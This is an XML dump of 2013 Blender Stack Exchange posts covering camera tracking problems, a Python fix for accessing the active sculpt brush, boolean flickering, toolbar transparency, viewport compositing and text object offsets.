  <row Id="2699" PostTypeId="2" ParentId="2698" CreationDate="2013-09-04T15:28:55.480" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://collada.org/mediawiki/index.php/OpenCOLLADA&quot; rel=&quot;nofollow&quot;&gt;OpenCOLLADA&lt;/a&gt; supports animated cameras and the SDK includes a Maya plug-in. Setting the active camera might need to be redone manually.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-09-04T15:28:55.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2700" PostTypeId="1" CreationDate="2013-09-04T17:48:49.550" Score="5" ViewCount="704" Body="&lt;p&gt;I am currently following video 07_Feature_Detection.m4v from Sebastien Konig's Match Track Blend DVD. The selection of camera tracking markers in the graph view (in order to detect and remove erratic markers) seems unreliable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create markers by Feature Detection, all the markers are selectable in the graph view. But when I create and track my own markers (which the tutorial suggests is the best option) I find that I cannot right-click-and-select any marker but the one which is already selected in the editing clip preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a little confused and annoyed. =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/sh/n3e18kdxmy466er/avIqjHfONV&quot; rel=&quot;nofollow&quot;&gt;My current .blend and my lower-res Sofia footage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your attention.&lt;/p&gt;&#xA;" OwnerUserId="1203" LastEditorUserId="599" LastEditDate="2013-09-13T07:28:45.870" LastActivityDate="2013-09-13T07:28:45.870" Title="Why can I not select camera trackers in the graph view of the Movie Clip Editor?" Tags="&lt;interface&gt;&lt;tracking&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2014-07-23T16:11:23.993" ContentLicense="CC BY-SA 3.0" />
  <row Id="2701" PostTypeId="2" ParentId="1126" CreationDate="2013-09-04T18:15:46.183" Score="2" Body="&lt;p&gt;Procedural texture should handle strange surfaces like that very well. Image based textures need proper UV unwrapping.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;use these two modifiers: &lt;strong&gt;Boolean (&lt;em&gt;Union&lt;/em&gt;) + Remesh&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The old way of doing it would have been to &lt;strong&gt;model them together by hand&lt;/strong&gt;, &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Having softer light&lt;/strong&gt; around those areas makes them a lot less visible. That is to say you need light bounding around, Cycles does that by default.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1148" LastEditorUserId="599" LastEditDate="2013-09-04T18:25:36.227" LastActivityDate="2013-09-04T18:25:36.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2702" PostTypeId="1" AcceptedAnswerId="2704" CreationDate="2013-09-04T19:41:06.933" Score="4" ViewCount="1129" Body="&lt;p&gt;I am attempting to modify sculpt brush settings via a custom menu. To do this I'm setting a string property to specify the setting I wish to modify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since these settings are dependent on the active brush, I need to pull in the current brush via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.tool_settings.sculpt.brush&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems this should work. I can confirm that it's accessing the correct brush. However, when I assign the brush context to a variable, and then call that variable within the data path it complains:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traceback (most recent call last):&#xA;    File &quot;/stringProp-tool.py&quot;, line 16, in execute&#xA;  TypeError: bpy_prop_collection[key]: invalid key, must be a string or an int, not Brush&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class BrushSettings(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Toggle Setting For Active Brush&quot;&quot;&quot;&#xA;    bl_idname = &quot;sculpt.brush_setting&quot;&#xA;    bl_label = &quot;Toggle Brush Setting&quot;&#xA;&#xA;    setting = bpy.props.StringProperty()&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        setting = self.setting&#xA;        brush = bpy.context.tool_settings.sculpt.brush&#xA;&#xA;        if setting == 'use_accumulate':&#xA;            value = bpy.data.brushes[brush].use_accumulate&#xA;            print(value)&#xA;            bpy.data.brushes[brush].use_accumulate = not value&#xA;        return {&quot;FINISHED&quot;}&#xA;&#xA;&#xA;class BrushSettingsMenu(bpy.types.Menu):&#xA;    bl_label = &quot;Brush Settings&quot;&#xA;    bl_idname = &quot;sculpt.brush_settings_menu&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        accumulate = layout.operator(&quot;sculpt.brush_setting&quot;, &quot;Accumulate&quot;)&#xA;        accumulate.setting = 'use_accumulate'&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(BrushSettings)&#xA;    bpy.utils.register_class(BrushSettingsMenu)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(BrushSettings)&#xA;    bpy.utils.unregister_class(BrushSettingsMenu)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    bpy.ops.wm.call_menu(name=BrushSettingsMenu.bl_idname)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The lines  giving me grief are these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value = bpy.data.brushes[brush].use_accumulate&#xA;bpy.data.brushes[brush].use_accumulate = not value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2013-09-04T19:55:52.830" LastActivityDate="2013-09-05T09:58:13.727" Title="How can I call the active brush within my script?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2703" PostTypeId="2" ParentId="2702" CreationDate="2013-09-04T20:11:19.060" Score="2" Body="&lt;p&gt;Accessing data via collection look-up they expects a string or an int:&#xA;That is why you got the error.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bpy_prop_collection[key]: invalid key, must be a string or an int, not Brush&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Running the following in the console window we can see that &lt;code&gt;setting&lt;/code&gt; variable gets assigned a bpy.type.brush&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; type(bpy.context.tool_settings.sculpt.brush)&#xA;&amp;lt;class 'bpy.types.Brush'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its a simple fix, you need to use the name of the brush.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value = bpy.data.brushes[brush.name].use_accumulate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, obviously in this case you better just use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value = brush.use_accumulate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="175" LastEditorUserId="175" LastEditDate="2013-09-05T09:58:13.727" LastActivityDate="2013-09-05T09:58:13.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2704" PostTypeId="2" ParentId="2702" CreationDate="2013-09-04T20:18:09.990" Score="7" Body="&lt;p&gt;The value you get with &lt;code&gt;brush = bpy.context.tool_settings.sculpt.brush&lt;/code&gt; is a &lt;code&gt;Brush&lt;/code&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; type(bpy.context.tool_settings.sculpt.brush)&#xA;&amp;lt;class 'bpy.types.Brush'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you access &lt;code&gt;bpy.data.brushes[brush]&lt;/code&gt; it expects a name string (i.e. &lt;code&gt;brush.name&lt;/code&gt;). Instead you can simply use the brush itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;&#xA;    setting = self.setting&#xA;    brush = bpy.context.tool_settings.sculpt.brush&#xA;    print(brush)&#xA;&#xA;    if setting == 'use_accumulate':&#xA;        value = brush.use_accumulate&#xA;        print(value)&#xA;        brush.use_accumulate = not value&#xA;    return {&quot;FINISHED&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One more suggestion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the supplied context of the operator, this is better than using bpy.context:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brush = context.tool_settings.sculpt.brush&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-09-04T20:18:09.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2705" PostTypeId="1" AcceptedAnswerId="2711" CreationDate="2013-09-04T20:46:08.913" Score="3" ViewCount="1109" Body="&lt;p&gt;I'm using multiple modifiers and my boolean keeps flickering - sometimes it can't make the boolean work.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2020-11-09T10:18:45.427" Title="Why does my boolean keep flickering?" Tags="&lt;modifiers&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2707" PostTypeId="1" AcceptedAnswerId="2708" CreationDate="2013-09-04T20:58:51.097" Score="9" ViewCount="13677" Body="&lt;p&gt;Transparent toolbar functionality was released in 2.66, how do I enable transparent toolbars and how can I modify how transparent they are?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seen here:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Usability&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Usability&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like mine to resemble the toolbars shown in the screenshot, very low opacity.&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="599" LastEditDate="2013-09-04T21:32:02.167" LastActivityDate="2013-09-05T02:59:49.743" Title="How can toolbar transparency be modified?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2708" PostTypeId="2" ParentId="2707" CreationDate="2013-09-04T21:28:20.133" Score="20" Body="&lt;p&gt;Enable &lt;em&gt;Region Overlap&lt;/em&gt; in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;rarr; User Preferences &amp;rarr; System&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/63bbZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/63bbZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To modify the transparency of the sidebars, change the &lt;em&gt;Alpha&lt;/em&gt; value of &lt;em&gt;User Preferences &amp;rarr; Themes &amp;rarr; 3D view &amp;rarr; Region background&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Yhl1p.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yhl1p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;img src=&quot;https://i.stack.imgur.com/WHXd3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-05T02:59:49.743" LastActivityDate="2013-09-05T02:59:49.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2709" PostTypeId="1" AcceptedAnswerId="10935" CreationDate="2013-09-05T00:09:58.513" Score="5" ViewCount="3736" Body="&lt;p&gt;I'm currently following Sebastien Konig's Match Track Blend DVD and have encountered a problem where despite matching camera type, lens type and trying to solve for distortion, I'm getting the following console messages when I try to Solve Camera Motion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.clip.solve_camera()&#xA;Some data failed to reconstruct (see console for details)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I'm getting an average Solve Error of 0.9561, where I'm used to getting .4 and below. So what's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The related files can be found &lt;a href=&quot;https://www.dropbox.com/sh/n3e18kdxmy466er/avIqjHfONV&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be related to another question I've asked on the site - &lt;a href=&quot;https://blender.stackexchange.com/questions/2700/why-can-i-not-select-camera-trackers-in-the-graph-view-of-the-movie-clip-editor&quot;&gt;Why can I not select camera trackers in the graph view of the Movie Clip Editor?&lt;/a&gt;&lt;br&gt;&#xA;I figured that the issues were different enough that I should give them different questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks to everyone who built and everyone who visits this site. StackExchange/Answers style-sites are very useful to me and I appreciate any time spent trying to answer the questions people ask here. (Thus ends that digression!)&lt;/p&gt;&#xA;" OwnerUserId="1203" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-07-03T01:20:38.417" Title="How can I avoid this camera tracking error? &quot;Some data failed to reconstruct (see console for details)&quot;" Tags="&lt;camera&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2014-07-03T15:09:19.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="2710" PostTypeId="2" ParentId="2673" CreationDate="2013-09-05T05:18:30.777" Score="2" Body="&lt;p&gt;You are experiencing decompression problems with your source video. Try generating proxy timecode (the proxy vision file not required), or convert the file to a less heavily compressed format.&lt;/p&gt;&#xA;" OwnerUserId="1226" LastActivityDate="2013-09-05T05:18:30.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2711" PostTypeId="2" ParentId="2705" CreationDate="2013-09-05T08:01:52.213" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Z-fighting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Flickering of surfaces&lt;/a&gt; within the 3DView is caused by overlapping faces. With a boolean modifier you get the new generated faces in the same location as the mesh used to perform the cut, leading to flickering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a mirror modifier on a mesh that has faces on both sides of the mirrored centre line can also lead to flickering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep the boolean modifier and not apply it, you can place the cutting object onto another layer (&lt;kbd&gt;M&lt;/kbd&gt; and select a layer) that is not active or you can hide the object from view (&lt;kbd&gt;H&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z5fFl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the outliner to hide/unhide objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Etd2s.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The eye for each item specifies whether it is visible in the 3DView, the cursor allows you to select the item in the 3DView and the camera is whether it shows up in the final render. Click any of these icons to turn them on/off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have overlapping faces from a mirror modifier then you need to remove the duplicate faces. This may involve deleting everything on one side of the mesh or just the few faces that have overlapped. The mirror modifier has a clipping option that can help line up vertices on the centre line of your mesh.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="599" LastEditDate="2013-09-06T00:10:29.250" LastActivityDate="2013-09-06T00:10:29.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2712" PostTypeId="2" ParentId="638" CreationDate="2013-09-05T09:12:09.380" Score="5" Body="&lt;p&gt;For those interested in robotics, here are some points of reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Community%3aScience/Robotics&quot; rel=&quot;noreferrer&quot;&gt;Blender wiki - Blender for robotics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.openrobots.org/wiki/morse&quot; rel=&quot;noreferrer&quot;&gt;MORSE&lt;/a&gt; - a part of the openrobotics project, uses blender as a robotic simulator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.warp1337.com/content/blender-robotics-part-1-introduction-and-modelling&quot; rel=&quot;noreferrer&quot;&gt;Warp1337.com&lt;/a&gt; - a tutorial on modeling and rigging a mechanical arm, ends with info on using a kinect to control the arm in the game engine.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-09-05T09:12:09.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2713" PostTypeId="2" ParentId="2687" CreationDate="2013-09-05T09:44:43.747" Score="3" Body="&lt;p&gt;As zeffi pointed out, setting the preferences to use a Russian font is the answer to getting your filenames looking correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender doesn't use these international settings when working with a 3DText object. Blenders default font for a text object is a simple plain font that is rarely used in a final project and as you have found isn't good with non-english characters. It is common practice to select a different font for any text objects in blender, and the font used is very much a personal preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to make it easier is to add a bookmark for your fonts folder, that way when you add a text object you can easily get to the folder containing your fonts. You can also set a default fonts folder in preferences as the location blender will start looking for fonts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to customise your &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Vitals/Default_scene&quot; rel=&quot;nofollow&quot;&gt;startup.blend file&lt;/a&gt;. You can setup a scene any way you want and save it as your startup file. Anytime you start blender or select File-&gt;New the contents of your startup.blend is used. By having a text object setup with the font you want to use in the startup.blend it will always be ready for you to use.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-09-05T09:44:43.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2715" PostTypeId="1" CreationDate="2013-09-05T15:57:30.977" Score="5" ViewCount="2440" Body="&lt;p&gt;I'm rendering with Cycles in the viewport (not with &lt;kbd&gt;F12&lt;/kbd&gt;) and would like to get that viewport output as an input node into the Compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done?&lt;/p&gt;&#xA;" OwnerUserId="1229" LastEditorUserId="72" LastEditDate="2013-09-05T17:47:42.600" LastActivityDate="2013-09-09T21:03:14.743" Title="How to get Cycles viewport output in compositing" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;3d-view&gt;&lt;compositor&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2716" PostTypeId="2" ParentId="2715" CreationDate="2013-09-05T16:26:42.143" Score="2" Body="&lt;p&gt;As far as I know you can't, the viewport rendering is just used as a preview as you develop shaders and lighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way you get the output is from a full (&lt;kbd&gt;F12&lt;/kbd&gt;) render, then in the compositor:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Input&lt;/em&gt; &gt; &lt;em&gt;Render Layers&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-09-05T17:54:12.657" LastActivityDate="2013-09-05T17:54:12.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2717" PostTypeId="2" ParentId="2715" CreationDate="2013-09-05T17:49:05.573" Score="0" Body="&lt;p&gt;You can't, because the viewport render is only a preview. In fact, you shouldn't rely on the viewport for determining the final output, actually, because it doesn't represent an accurate view of what the final render will be and wasn't meant for that purpose.&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-09-05T17:49:05.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2718" PostTypeId="1" AcceptedAnswerId="2723" CreationDate="2013-09-05T18:28:44.177" Score="5" ViewCount="270" Body="&lt;p&gt;This seems like something obvious, but I just don't know where to find this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using blender for projection mapping applications, and have set up my camera to emulate the base position and FOV of my playback environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Numpad-Enter&lt;/kbd&gt; to get the view into a 1:1 mode works just fine. My problem is that if I accidentally hold &lt;kbd&gt;Shift&lt;/kbd&gt; and &lt;kbd&gt;Middle-click-drag&lt;/kbd&gt;, the camera view frame gets moved within the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to reset this back to the center. &quot;Eyeballing&quot; it back to the middle just isn't precise enough for me. I'd rather just be able to hit a keystroke combo and not have to worry about it.&lt;/p&gt;&#xA;" OwnerUserId="1230" LastEditorUserId="599" LastEditDate="2013-12-05T22:54:02.760" LastActivityDate="2013-12-05T22:54:02.760" Title="Re-Centering the Camera view after Shift Drag?" Tags="&lt;3d-view&gt;&lt;camera&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2719" PostTypeId="1" AcceptedAnswerId="2754" CreationDate="2013-09-05T19:02:20.250" Score="12" ViewCount="1495" Body="&lt;p&gt;I don't know much about the Open Shading Language, but I need to know if it can do a few things before I decide to spend the time to learn it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can OSL manipulate rays that hit surfaces? Such as: change ray colors, reflect, refract, delete it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://docs.google.com/drawings/d/1escmAnJycAMwnkqOiXQBo-PWstZw6-SmDBZ2c9AddXE/pub?w=960&amp;amp;h=720&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can it also get ray data? Such as: where it came from, its source, direction, and intensity.&lt;/li&gt;&#xA;&lt;li&gt;Can it emit rays from a surface? I know that the default Cycles emission shader is written in SVM, but would it be possible make a similar shader in OSL?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://docs.google.com/drawings/d/1A4vC8DMhd3yQL9XDiaa6neamvpbQPG6hqYyDlZXrX-Y/pub?w=808&amp;amp;h=380&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-09-07T14:45:34.447" LastActivityDate="2015-05-30T11:05:32.257" Title="OSL and raytracing" Tags="&lt;shaders&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2720" PostTypeId="1" AcceptedAnswerId="2727" CreationDate="2013-09-05T19:02:30.283" Score="8" ViewCount="2535" Body="&lt;p&gt;Sometimes when using the &lt;em&gt;Offset&lt;/em&gt;  parameter in &lt;em&gt;Text object data &gt; Geometry &gt; Modification&lt;/em&gt; to shrink or fatten characters, some characters will get incorrectly displayed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4wN0i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default Bfont is more immune to this then most other fonts I tried, where this starts happening even with an Offset factor of &lt;code&gt;.001&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes this and how can I correct it?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-09-06T12:55:52.510" Title="Text objects are messed up when using Offset" Tags="&lt;text-object&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2721" PostTypeId="5" CreationDate="2013-09-05T19:05:19.060" Score="0" Body="&lt;p&gt;Text objects on the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/texts/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-06T11:57:59.557" LastActivityDate="2020-10-06T11:57:59.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2722" PostTypeId="4" CreationDate="2013-09-05T19:05:19.060" Score="0" Body="Questions related to creating and manipulating Blender Text objects. Text objects are useful for quickly creating 3D text by typing on the keyboard." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-05T19:07:50.713" LastActivityDate="2013-09-05T19:07:50.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2723" PostTypeId="2" ParentId="2718" CreationDate="2013-09-05T19:23:39.130" Score="5" Body="&lt;p&gt;The only option I know of is to select the camera in question and then press &lt;kbd&gt;Home&lt;/kbd&gt; before repeating &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Numpad Enter&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;kbd&gt;Home&lt;/kbd&gt; with the camera selected runs the 'View All' command and will bring the camera back in view and centred but it will also adjust the zoom so that all the camera is visible, possibly loosing the 1:1 ratio. So it would be necessary to repeat the 1:1 view shortcut afterwards.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-09-05T19:23:39.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2724" PostTypeId="1" AcceptedAnswerId="2726" CreationDate="2013-09-05T19:55:49.823" Score="5" ViewCount="121" Body="&lt;p&gt;Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I type in &lt;code&gt;0.65&lt;/code&gt; to one of the RGB channels, after pressing &lt;kbd&gt;Enter&lt;/kbd&gt; it changes to &lt;code&gt;0.651&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qC0wC.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/ToXsr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sort of thing seems to happen for all different color settings in &lt;em&gt;Themes&lt;/em&gt;, even RGBA ones:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mQv4W.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/i6T6e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the technical reason for this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-09-06T02:29:59.400" Title="Why are color values rounded in Themes?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2725" PostTypeId="2" ParentId="1625" CreationDate="2013-09-05T20:09:44.880" Score="1" Body="&lt;p&gt;Another relevant option is the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/System#Open_GL&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Clip Alpha&lt;/em&gt;&lt;/a&gt;  setting in &lt;em&gt;User preferences &gt; System&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CW1zw.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/DhaAJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes all alpha below a certain amount completely transparent.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-09-05T20:09:44.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
